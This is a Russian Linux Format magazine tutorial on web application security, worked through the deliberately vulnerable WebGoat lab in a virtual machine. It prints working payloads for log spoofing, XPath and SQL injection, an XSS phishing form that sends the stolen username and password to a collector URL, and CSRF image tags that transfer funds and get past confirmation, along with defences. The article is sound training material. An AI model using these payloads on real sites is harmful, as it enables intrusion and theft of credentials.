Журнал LinuxFormat - перейти на главную

LXF159:Хакерам: Cайт в безопасности

Материал из Linuxformat
Перейти к: навигация, поиск


Содержание

Ха­ке­рам: Cайт в безо­пас­но­сти

Безо­пас­ность web-сер­ве­ра. Пре­дот­вра­ти­те трю­ки ха­ке­ров с по­мо­щью WebGoat.

(thumbnail)
Наш эксперт. Бен Эве­рард бро­сил ра­бо­ту IT-кон­суль­тан­та, что­бы от­пра­вить­ся на два го­да в Тан­за­нию ус­та­навли­­вать сис­те­мы на ба­зе Ubuntu в шко­лах. Те­перь его зна­ния на­хо­дят при­ме­не­ние в бур­ля­щем кот­ле от­кры­тий – ре­дак­ции Linux Format.


Ду­мае­те, при по­след­них за­плат­ках безо­пас­но­сти Apache ваш сайт за­щи­щен? Бен Эве­рард по­ка­зы­ва­ет, что ха­ке­ры все еще мо­гут до не­го до­б­рать­ся.

От со­ци­аль­ных се­тей до он­лайн-ма­га­зи­нов и ин­тернет-бан­кин­га – Сеть проч­но во­шла в на­шу жизнь. Но безо­пас­на ли она? Уяз­ви­мо­сти в сер­ве­рах обыч­но бы­ст­ро об­на­ру­жи­ва­ют­ся и ис­прав­ля­ют­ся, но как на­счет web-при­ло­жений на этих сер­ве­рах? Мо­жет ли ха­кер по­лу­чить доступ к этим при­ло­жениям и за­ста­вить их работать на себя? Да, имен­но это и про­ис­хо­дит в Ин­тернете что ни день. В этой ста­тье с по­мо­щью WebGoat, де­мон­ст­ра­ци­он­но­го web-при­ло­жения, мы по­ка­жем вам тех­но­ло­гии, ко­то­ры­ми поль­зу­ют­ся ха­ке­ры, по­то­му что понимание уг­ро­зы – это пер­вый шаг к за­щи­те от нее.

WebGoat мож­но уста­но­вить в боль­шин­ст­ве ди­ст­ри­бу­ти­вов, но его на­строй­ка мо­жет быть немно­го слож­ной, по­это­му про­ще все­го восполь­зо­вать­ся об­ра­зом OWASP WTE (Open Web Application Security Project – Web Testing Environment).

OWASP WTE досту­пен в ви­де Live DVD, ко­то­рый мож­но за­пи­сать на диск и за­гру­зить­ся с него. Од­на­ко, по­сколь­ку он на­ме­ренно пронизан уяз­ви­мо­стя­ми, луч­ше за­пускать его на вир­ту­аль­ной ма­шине. Ес­ли у вас не уста­нов­лен VirtualBox, най­ди­те его в сво­их ре­по­зи­то­ри­ях или за­гру­зи­те с https://www.virtualbox.org. На­ше ру­ко­во­дство по­дой­дет и для дру­гих про­грамм вир­туа­ли­за­ции, та­ких как Qemu или VMWare. За­гру­зи­те об­раз дис­ка VirtualBox с http://appseclive.org/node/45 и рас­па­куй­те его ко­ман­дой:

unrar e owasp-wte-Feb-2011.vdi.rar

С по­мо­щью ин­ст­рук­ций по уста­нов­ке на соседней странице уста­но­ви­те и за­пусти­те WebScarab, и мож­но дви­гать­ся даль­ше.

Не все ата­ки ин­те­ре­су­ют­ся досту­пом к ин­фор­ма­ции на сай­те. В неко­то­рых (или в со­ста­ве круп­ных атак) нуж­но, наоборот, раз­мес­тить дан­ные. Скажем, если вы хотите проникнуть на сер­ве­р ме­то­дом пе­ре­бо­ра па­ролей, в лог-фай­лах оста­нут­ся де­сят­ки со­об­щений о неудач­ных по­пыт­ках вхо­да в сис­те­му. Их мож­но раз­ба­вить со­об­щения­ми об удач­ном вхо­де, что­бы сис­тем­ные ад­минист­ра­то­ры ничего не запо­доз­рили. Для это­го вы­бе­ри­те пункт ме­ню Injection Flaws > Log Spoofing (Инъ­ек­ция > Под­ме­на лог-фай­ла).

В этом тес­те мы до­ба­вим пару но­вых стро­к в лог-файл об успеш­ном вхо­де в сис­те­му, после од­ной за­пи­си о неудач­ном. Они обо­зна­ча­ют­ся как %0d %0a. Вве­ди­те имя поль­зо­ва­те­ля:

Smith%0d%0aLogin Succeeded for username:

Admin%0d%0aLogin Succeeded for username: John

и лю­бой па­роль и на­жми­те Login [Вой­ти в сис­те­му]. Соз­да­дут­ся три за­пи­си – од­на о неудач­ном вхо­де и две об успеш­ном. Ра­зу­ме­ет­ся, таким способом при желании мож­но до­ба­вить и любые дру­гие стро­ки (см. рис. 1).

(thumbnail)
> Под­ме­на вхо­да в сис­те­му: в слу­чае ус­пе­ха в лог-файл до­ба­вят­ся не­сколь­ко со­об­ще­ний, ко­то­рые бу­дут по­ка­за­ны на стра­ни­це.

В файл мож­но за­пи­сать и скрипт, ведь это не про­ве­ря­ет­ся. Ес­ли ад­минист­ра­тор про­смат­ри­ва­ет лог-фай­лы че­рез брау­зер, этим мож­но восполь­зо­вать­ся для ата­ки на его сес­сию с по­мо­щью неко­то­рых из тех­но­ло­гий, опи­сан­ных да­лее.

Ок­но вхо­да в сис­те­му без про­вер­ки дан­ных – су­щий по­да­рок ха­ке­ру, и с его по­мо­щью мож­но сде­лать нечто боль­шее, чем про­сто до­ба­вить па­ру за­пи­сей в лог-файл. Долж­ным об­ра­зом ор­ганизо­ван­ные дан­ные в этих по­лях да­дут нам доступ и к дру­гой ин­фор­ма­ции о поль­зо­ва­те­ле.

Ата­куй­те и раз­ру­шай­те

Пе­рей­ди­те к раз­де­лу «XPATH Injection» (Инъ­ек­ция в XPATH) в ле­вой час­ти ок­на. В этом при­ме­ре мы со­вер­шим ата­ку на по­ле с па­ро­лем для по­лу­чения до­полнитель­ной ин­фор­ма­ции. Па­роль про­ве­ря­ет­ся с по­мо­щью вы­ра­жения XPATH, ко­то­рое воз­вра­ща­ет все стро­ки, со­от­вет­ст­вую­щие вве­ден­ным имени поль­зо­ва­те­ля и па­ро­лю. Мы мо­жем раз­ру­шить это вы­ра­жение и до­ба­вить вы­ра­жение OR, ко­то­рое всегда бу­дет воз­вра­щать true, и та­ким об­ра­зом по­лу­чить все за­пи­си из ба­зы дан­ных. Вве­ди­те имя поль­зо­ва­те­ля Mike и па­роль:

test123’ or ‘a’=’a

Внешние ка­выч­ки до­бав­ля­ют­ся XPATH, по­это­му они не нуж­ны. Зна­чение это­го вы­ра­жения всегда рав­но true, и оно вернет всех поль­зо­ва­те­лей.

Не во все фор­мы мож­но вве­сти текст. Иногда нуж­но вы­би­рать зна­чение из спи­ска. Но и такие по­ля не за­щи­ще­ны от атак – ха­ке­рам нуж­но про­явить лишь чуть боль­ше изо­бре­таль­но­сти.

Вер­нув­шись в WebScarab, вы уви­ди­те це­лую ку­чу за­про­сов HTTP GET. Ка­ж­дый из них со­от­вет­ст­ву­ет эле­мен­ту до­ку­мен­та, за­про­шенного брау­зе­ром. В столб­це Path [Путь] вы ви­ди­те ин­фор­ма­цию о за­пра­ши­вае­мом ком­понен­те. Те­перь несколь­ко слов о том, как ра­бо­та­ет Ин­тернет. В его осно­ве ле­жит про­то­кол пе­ре­да­чи ги­пер­тек­ста (HyperText Transfer Protocol, HTTP). Ги­пер­текст – кра­си­вое сло­во для до­ку­мен­тов со ссыл­ка­ми в них, обыч­но HTML-до­ку­мен­тов. HTTP раз­ра­ба­ты­вал­ся так, что­бы быть по­нят­ным че­ло­ве­ку, и раз­лич­ные дан­ные про­то­ко­ла пе­ре­да­ют­ся в ви­де тек­ста.

При ка­ж­дом вво­де ад­ре­са или щелч­ке по ссыл­ке брау­зер от­прав­ля­ет за­прос HTTP GET, ко­то­рый со­об­ща­ет web-сер­ве­ру, что вам ну­жен оп­ре­де­лен­ный до­ку­мент. В от­вет сер­вер дол­жен от­пра­вить за­про­шен­ный до­ку­мент брау­зе­ру. На прак­ти­ке для боль­шин­ст­ва web-страниц от­прав­ля­ют­ся несколь­ко HTTP-за­про­сов, так как брау­зер дол­жен от­прав­лять по за­про­су на ка­ж­дый эле­мент страницы (та­кой как кар­тин­ка).

OWASP при­ме­ня­ет WebScarab в ка­че­­ст­ве про­кси, то есть про­грам­мы, пе­ре­хва­ты­ва­ющей HTTP-за­про­сы (обыч­но для кэ­ши­ро­вания). WebScarab – про­кси для обу­чения: он удер­жи­ва­ет HTTP-за­прос, по­зво­ляя про­смот­реть и из­менить его. Так мы уви­дим, что про­ис­хо­дит внут­ри брау­зе­ра. А раз для взаи­мо­дей­ст­вия с web-сер­ве­ром исполь­зу­ет­ся HTTP, то мы ата­ку­ем сер­вер пу­тем из­ме­нения HTTP-за­про­сов. Боль­шин­ст­во ди­на­ми­че­­ских сай­тов соз­да­ют­ся на ле­ту из ин­фор­ма­ции, со­дер­жа­щей­ся в ба­зе дан­ных. Од­ной из це­лей ха­ке­ра мо­жет быть по­лу­чение ин­фор­ма­ции из это­го ис­точника, и это воз­мож­но с по­мо­щью SQL-инъ­ек­ции.

' Шаг за шагом: Настройка среды ‘
(thumbnail)
1 Под­го­тов­ка.>От­крой­те VirtualBox и на­жми­те New [Соз­дать], за­тем Next [Да­лее]. Вве­ди­те Имя OWASP [Name OWASP], вы­бе­ри­те Linux в ка­че­­ст­ве опе­ра­ци­он­ной сис­те­мы [Operating system] и Linux 2.6 в ка­че­­ст­ве ее ти­па [Type]. В сле­дую­щем окне вы­де­ли­те ей мак­си­маль­но воз­мож­ное ко­ли­че­­ст­во па­мя­ти – в идеа­ле не менее 700 МБ. На­жми­те Next, за­тем вы­бе­ри­те Use Existing Hard Disk [Ис­поль­зо­вать су­ще­ст­вую­щий же­ст­кий диск] и вы­бе­ри­те свой но­вый файл VDI. На­жми­те Next, за­тем Create.
(thumbnail)
2 Вход в сис­те­му.>За­пусти­те вир­ту­аль­ную ма­ши­ну. В окне вхо­да в сис­те­му вве­ди­те owasp в ка­че­­ст­ве имени поль­зо­ва­те­ля и па­ро­ля. Вре­мя от вре­мени Ubuntu бу­дет пред­ла­гать вам об­но­вить сис­те­му. Так как мы поль­зу­ем­ся сис­те­мой вре­мен­но, эти со­об­щения мож­но спокойно про­иг­но­ри­ро­вать.
(thumbnail)
3 Ус­та­нов­ка до­полнений.> Зай­ди­те в Devices > Install Guest Additions [Уст­рой­ст­ва > Ус­та­но­вить госте­вые до­полнения]. Ес­ли вы­да­ет­ся со­об­щение об ошиб­ке, мо­жет по­на­до­бить­ся уста­нов­ка па­ке­та virtualbox-guest-additions в основ­ной сис­те­ме. На­жми­те OK для от­кры­тия ав­то­за­пуска, за­тем Run [За­пустить], и вве­ди­те owasp в ка­че­­ст­ве па­ро­ля. По­сле за­вер­шения уста­нов­ки пе­ре­за­пусти­те вир­ту­аль­ную ма­ши­ну. Те­перь мож­но раз­вер­нуть ок­но.
(thumbnail)
4 За­пуск про­кси.> Вы­бе­ри­те пункт ме­ню Applications > OWASP > Proxies > OWASP Web Scarab [При­ло­жения > Про­кси OWASP > OWASP Web Scarab]. За­пустит­ся про­кси. Вы­де­ли­те ему не менее 64 МБ. В окне Web Scarab вы­бе­ри­те Tools [Ин­ст­ру­мен­ты) и уста­но­ви­те га­лоч­ку Use Lite Interface [Ис­поль­зо­вать об­лег­чен­ный ин­тер­фейс]. За­тем вы­бе­ри­те пункт ме­ню Applications > OWASP > WebGoat START [При­ло­женияя > OWASP > ЗАПУСК WebGoat]. За­тем за­пусти­те Firefox.
(thumbnail)
5 FoxyProxy.> За­крой­те от­крыв­шее­ся по умол­чанию ок­но Firefox, за­тем вы­бе­ри­те пункт ме­ню Applications > OWASP > Firefox WTE style [При­ло­жения > OWASP > Firefox WTE] (это по­зво­ля­ет удобнее управ­лять про­кси). На­жми­те на FoxyProxy спра­ва внизу и из­мените ре­жим [Mode] на Use Proxy “WebScarab” for all URLs [Ис­поль­зо­вать про­кси WebScarab для всех ад­ре­сов].
(thumbnail)
6 Впе­ред! От­крой­те Firefox и на­бе­ри­те в ад­рес­ной стро­ке http://localhost:8080/WebGoat/attack, и вой­ди­те в сис­те­му с именем поль­зо­ва­те­ля и па­ро­лем guest.


При та­ком ти­пе ата­ке ха­кер об­ман­ным пу­тем за­став­ля­ет сайт вы­полнить непре­ду­смот­рен­ный SQL-за­прос и ото­бра­зить ре­зуль­та­ты. В Firefox зай­ди­те в ме­ню Injection Flaws [Инъ­ек­ция] в ле­вой час­ти ок­на и в под­ме­ню Numeric SQL Injection [Чи­сло­вая SQL-инъ­ек­ция]. От­кро­ет­ся сайт-шаб­лон с ин­фор­ма­ци­ей о по­го­де. При его обыч­ной ра­бо­те мож­но вы­брать ме­тео­стан­цию из вы­па­даю­ще­го спи­ска и на­жать кноп­ку Go [По­ка­зать], что­бы уви­деть дан­ные о ме­теоусло­ви­ях на этой стан­ции. Но, бу­ду­чи алч­ны­ми ха­ке­ра­ми, мы хо­тим уви­деть все дан­ные. Для на­ча­ла этот сайт со­об­ща­ет нам и SQL-за­прос, ис­поль­зуе­мый для по­лу­чения дан­ных. В дан­ном слу­чае это:

SELECT * from weather_data WHERE station = ?

Здесь ? – это стан­ция, вы­бран­ная из вы­па­даю­ще­го спи­ска. Что­бы из­влечь по­боль­ше ин­фор­ма­ции из данно­го за­про­са, рас­ши­рим усло­вие WHERE. Для это­го мож­но пе­ре­хва­тить за­прос и до­ба­вить до­полнитель­ный текст в по­ле Station.

В WebScarab по­ставь­те га­лоч­ку Intercept Request [Пе­ре­хва­тить за­прос], за­тем на­жми­те Go [За­пустить] в Firefox. Про­кси пе­ре­хва­тит за­прос, со­дер­жа­щий два ком­понен­та дан­ных – стан­цию и дей­ст­вие submit. Из­мените зна­чение стан­ции на

101 OR station like ‘%’

и на­жми­те Accept Changes [При­ме­нить из­ме­не­ния], см. эк­ран­ный сни­мок вни­зу. Те­перь сис­те­ма бу­дет об­ра­ба­ты­вать SQL-за­прос

SELECT * from weather_data WHERE station = 101 OR station like ‘%’

Так как в SQL % – это мас­ка, то за­прос вернет все дан­ные из таб­ли­цы weather_data. Это че­ты­ре стан­ции в вы­па­даю­щем спи­ске и еще две, ко­то­рые соз­да­те­ли сай­та хо­те­ли скрыть. По за­вер­шении это­го уп­ражнения сайт пе­ре­клю­чит­ся в бо­лее за­щи­щен­ную кон­фи­гу­ра­цию, в ко­то­рой он про­ве­ря­ет, яв­ля­ет­ся ли ввод в SQL-за­прос чис­лом. Ес­ли вы по­пы­тае­тесь вы­полнить за­прос еще раз, ата­ка за­вер­шит­ся неудач­но.


Те­перь пе­рей­дем в LAB: SQL Injection [ПРИМЕРЫ: SQL-инъ­ек­ция] и рас­смот­рим неко­то­рые спо­со­бы при­менения этой техники. В на­ших при­ме­рах ис­поль­зу­ет­ся ад­минист­ра­тив­ный сайт вы­мыш­лен­ной ком­пании Goat Hills. На пер­вом эта­пе мы об­ман­ным пу­тем за­ста­вим сайт впустить нас в сис­те­му, не зная па­ро­ля.

Сайт сравнива­ет па­роль с тем, что хранит­ся в ба­зе дан­ных, с по­мо­щью за­про­са

Select * from employee WHERE userid = ‘ + userid + ‘ and password = ‘ + password

Ес­ли этот за­прос воз­вра­ща­ет стро­ку, то поль­зо­ва­тель ввел вер­ный па­роль, и ему раз­ре­ша­ет­ся вой­ти в сис­те­му. Вве­ди­те имя поль­зо­ва­те­ля Neville Bartholomew и па­роль Test. Убе­ди­тесь, что WebScarab все еще пе­ре­хва­ты­ва­ет за­про­сы, и на­жми­те Login [Вой­ти]. Этот за­прос мож­но из­менить, до­ба­вив усло­вие OR (ИЛИ) ме­то­дом, ана­ло­гич­ным пре­ды­ду­ще­му уп­ражнению.

(thumbnail)
> С по­мо­щью WebScarab мож­но ме­нять па­ра­мет­ры, от­прав­ляе­мые на сер­вер.

Пе­ре­хва­тим HTTP-за­прос и из­меним по­ле па­ро­ля на

Test’ OR password LIKE ‘%

Test – непра­виль­ный па­роль, но так как ‘1’=’1’, за­прос вернет дан­ные, и сис­те­ма по­зво­лит нам вой­ти. За­тем вы смо­же­те вы­пол­нять все дей­ст­вия, раз­ре­ше­нные Не­вил­лу (а он ад­минист­ра­тор). В прин­ци­пе этот текст мож­но бы­ло вве­сти и в по­ле па­ро­ля, но раз­ра­бот­чи­ки сай­та ог­раничи­ли дли­ну это­го по­ля, и для об­хо­да этой про­вер­ки при­шлось при­менить про­кси.

Вто­рой этап это­го уп­ражнения вклю­ча­ет из­менение ко­да сер­ве­ра для за­щи­ты от та­ких атак. Желающие мо­гут соз­дать его са­мо­стоя­тель­но, а мы пе­рей­дем к треть­ему эта­пу. Эта ата­ка со­сто­ит из двух час­тей. Во-пер­вых, нуж­но, что­бы за­прос вы­би­рал всех поль­зо­ва­те­лей, а не толь­ко од­но­го из вы­па­даю­ще­го спи­ска. Для это­го до­бав­им усло­вие OR 1=1. Од­на­ко на этой странице нам по­ка­жут дан­ные толь­ко од­но­го поль­зо­ва­те­ля, и нуж­но га­ран­ти­ро­вать, что это пра­виль­ный поль­зо­ва­тель. Интереснее всего выйти на босса, так что из­меним за­прос, до­ба­вив order by salary desc [упорядочить по убыванию оклада]: пусть пер­вым воз­вра­щается че­ло­ве­к с наи­боль­шей зар­пла­той. Нам нуж­но вой­ти в сис­те­му под поль­зо­ва­те­лем Larry (па­роль larry). По­сле вхо­да в сис­те­му щелкните на View Profile [Про­смотр про­фи­ля]. Когда WebScarab пе­ре­хва­тит за­прос, из­мените по­ле employee_id на

101 or 1=1 order by salary desc

и на­жми­те Accept Request [При­нять за­прос]. Вам вернется ин­фор­ма­ция о самом высокооплачиваемом со­труднике, неза­ви­си­мо от то­го, есть ли он в вы­па­даю­щем спи­ске.

Луч­шая за­щи­та от SQL-инъ­ек­ции – и мно­гих дру­гих атак – пра­виль­ная про­вер­ка по­лей вво­да. Очень немно­гим по­лям требуются сим­во­лы «=», «’» и « %». А ес­ли ввод этих сим­во­лов все же необходим, обя­за­тель­но эк­ранируй­те их пе­ред пе­ре­да­чей в ба­зу дан­ных. Это нуж­но де­лать на сер­ве­ре, так как с по­мо­щью WebScarab или дру­гих ути­лит для манипу­ля­ции с HTTP-за­про­са­ми мож­но обой­ти ва­ли­да­цию по­лей вво­да брау­зе­ром.

Меж­сай­то­вый скрип­тинг

Меж­сай­то­вый скрип­тинг (Cross Site Scripting, или XSS) – ме­тод воз­дей­ст­вия на участок сай­та, чтобы тот ото­бра­жал ва­ше­ со­дер­жи­мое. Это воз­мож­но, когда на ин­те­рак­тив­ном сай­те раз­ме­ща­ют­ся дан­ные, вво­ди­мые поль­зо­ва­те­ля­ми. От­крой­те пункт ме­ню Cross-Site Scripting (XSS) > Phishing With XSS [Меж­сай­то­вый скрип­тинг (XSS) > Фи­шинг с XSS]. Сна­ча­ла про­сто на­бе­ри­те Test в по­ле по­ис­ка и на­жми­те Search [Ис­кать]. На странице поя­вит­ся:

Results for: Test

Это зна­чит, что по­сле Results for: мож­но вста­вить что угод­но, и с неболь­ши­ми знания­ми HTML мы мо­жем до­ба­вить не толь­ко обыч­ный текст. На­при­мер, вве­ди­те по­ис­ко­вый за­прос:

<br><br><h1>Injected Text</h1> 


– HTML-тэг пе­ре­хо­да на но­вую стро­ку, по­это­му наш текст по­яв­ля­ет­ся уже на но­вой стро­ке, а

<h1>…</h1> 
го­во­рит брау­зе­ру, что это за­го­ло­вок. С HTML мож­но до­бав­лять не толь­ко текст, но и фор­мы. Для вы­полнения этой ата­ки нам по­тре­бу­ет­ся и то, и дру­гое. Фор­ма бу­дет со­би­рать ин­фор­ма­цию о поль­зо­ва­те­ле, а скрипт раз­мес­тит ее на http://localhost/WebGoat/catcher?PROPERTY=yes

Так как фи­шинг осно­ван на том, что­бы об­ман­ным пу­тем за­ста­вить поль­зо­ва­те­ля вве­сти свои дан­ные, нуж­но дать ему вес­кую при­чи­ну вой­ти на сайт. HTML-код на­шей фор­мы бу­дет та­ким:

 <br><br><h1>Важ­но: На­ши сер­ве­ры об­на­ру­жи­ли не­обыч­ную ак­тив­ность ва­шей учет­ной за­пи­си. По­жа­луй­ста, не­мед­лен­но

зай­ди­те, что­бы пре­сечь не­ав­то­ри­зо­ван­ные дей­ст­вия
</h1><form><input type=”text” name=”user”><br><input

type=”password” name=”pass”><input type=”submit”

name=”login” onClick=”var image1=new Image; image1.src=’http://localhost:8080/webgoat/catcher?PROPERTY=yes&user=’+this.form.user.value+’&password=’+this.form.pass.value;”></form>

Эта фор­ма со­бе­рет ло­гин и па­роль поль­зо­ва­те­ля и пе­ре­даст их на сер­вер. Мораль: при об­ра­бот­ке вво­ди­мых поль­зо­ва­те­лем дан­ных, ко­то­рые бу­дут ото­бра­жать­ся на сай­те, про­ве­ряйте их на на­ли­чие < и >, так как с их по­мо­щью мож­но соз­дать HTML-тэ­ги.

С по­мо­щью XSS так­же мож­но за­ста­вить брау­зер поль­зо­ва­те­ля вы­полнить дей­ст­вие, ко­то­ро­го он де­лать не со­би­рал­ся. По­сколь­ку ин­те­рак­тив­ные web-страницы ра­бо­та­ют под управ­лением про­то­ко­ла HTTP, то ес­ли мы за­ста­вим брау­зер вы­полнить за­прос HTTP GET, сер­вер мо­жет по­ду­мать, что поль­зо­ва­тель хо­чет вы­полнить это дей­ст­вие. Са­мый про­стой спо­соб за­ста­вить брау­зер вы­полнить за­прос HTTP GET – с по­мо­щью за­груз­ки изо­бра­жения. Что­бы это изо­бра­жение не по­влия­ло на внешний вид страницы, мы мо­жем сде­лать его раз­ме­ром в один пик­сель. Пе­рей­ди­те в Cross Site Request Forgery [Соз­дание меж­сай­то­вых за­про­сов] и вве­ди­те за­го­ло­вок «Кру­тое со­об­щение – про­чти­те обя­за­тель­но» и со­об­щение:

Это важ­ная ин­фор­ма­ция.

<img src=”http://localhost:8080/webgoat/attack?Screen=89& menu=900&transferFunds=4000” width=”1” height=”1” />

В дан­ном слу­чае фаль­ши­вый за­прос ис­поль­зу­ет­ся (в тео­рии) для пе­ре­во­да денеж­ных средств, но с ним мож­но так­же от­прав­лять поч­ту, за­ку­пать то­ва­ры и де­лать все то, что де­ла­ет­ся щелч­ком по ссыл­ке на сай­те. Так как за­прос при­хо­дит с ком­пь­ю­те­ра жерт­вы, а не с ком­пь­ю­те­ра зло­умыш­ленника, web-сер­вер об­ра­бо­та­ет его (ес­ли поль­зо­ва­тель во­шел в сис­те­му).

Ра­зу­ме­ет­ся, мно­гие сай­ты тре­бу­ют от поль­зо­ва­те­ля для вы­полнения ка­ко­го-то дей­ст­вия не про­сто од­но­го щелч­ка. В пре­ды­ду­щем при­ме­ре банк вряд ли по­зво­лит вам пе­ре­вес­ти день­ги со сче­та, хо­тя бы не за­про­сив под­твер­ждения, что вы хо­ти­те это сде­лать. К сча­стью для ата­кую­ще­го, есть спо­соб обой­ти и это. Так как под­твер­ждение – лишь еще один за­прос HTTP GET, оста­ет­ся толь­ко от­пра­вить его. Это немно­го сложнее, так как вто­рой за­прос надо от­пра­вить в долж­ный мо­мент; но мы мо­жем сде­лать это, со­об­щив поль­зо­ва­те­лю, что пер­вое изо­бра­жение за­гру­зить не уда­лось. HTTP-за­прос зло­умыш­ленника вернет HTML-до­ку­мент, а не изо­бра­жение, и при по­пы­тке его за­гру­зить брау­зер вы­даст ошиб­ку. С по­мо­щью HTML мож­но ука­зать, что дол­жен де­лать брау­зер при возник­но­вении ошиб­ки, и мы ве­лим ему за­гру­зить вто­рое изо­бра­жение, так­же раз­ме­ром в один пик­сель, для вы­полнения HTTP-за­про­са, ко­то­рый вы­полнит под­твер­ждение. Пе­рей­ди­те в CSRF Prompt By-Pass [Об­ход пред­ло­жения о под­твер­ждении], вве­ди­те за­го­ло­вок «То-то по­ве­се­лим­ся» и со­об­щение:

LOL catz.

<img src=”http://localhost:8080/webgoat/attack?Screen=82& menu=900&transferFunds=4000” onerror=”document.

getElementById(‘image2’).src=’http://localhost:8080/webgoat/ attack?Screen=82&menu=900&transferFunds=CONFIRM’” width=”1” height=”1” />

<img id=”image2” width=”1” height=”1” />

Сни­же­ние рис­ка

Су­ще­ст­ву­ет несколь­ко спо­со­бов снизить риск атак с под­держ­кой меж­сай­то­вых за­про­сов. Так как для их вы­полнения поль­зо­ва­тель дол­жен быть в сис­те­ме, мож­но снизить ве­ро­ят­ность атак, ав­то­ма­ти­че­­ски от­клю­чая поль­зо­ва­те­ля по­сле неко­то­ро­го пе­рио­да без­дей­ст­вия. Кро­ме то­го, мож­но восполь­зо­вать­ся CSRF Guard, ко­то­рый мож­но най­ти на сай­те www.owasp.org/index.php/PHP_CSRF_Guard.

SQL-инъ­ек­ция и XSS – лишь две раз­но­вид­но­сти атак на сай­ты. В WebGoat есть при­ме­ры мно­гих дру­гих. Восполь­зуй­тесь ссыл­ка­ми Hints и Solutions в верхней час­ти страницы с уро­ка­ми. За­щи­та ва­ше­го сай­та от та­ких атак обыч­но сво­дит­ся к кор­рект­ной ва­ли­да­ции и эк­раниро­ванию по­тен­ци­аль­но опас­ных сим­во­лов. Не­сколь­ко при­ме­ров атак мож­но най­ти в раз­де­ле Applications > Internet > Web App Testing Tools [При­ло­жения > Ин­тернет > Ути­ли­ты для тес­ти­ро­вания web-при­ло­жений], и с их по­мо­щью про­ве­рить, ра­бо­та­ет ли ва­ша за­щи­та. Под­роб­ную ин­фор­ма­цию о долж­ных ме­рах за­щи­ты мож­но най­ти на сай­те www.owasp.org/index.php/Cheat_Sheets. |

Персональные инструменты
купить
подписаться
Яндекс.Метрика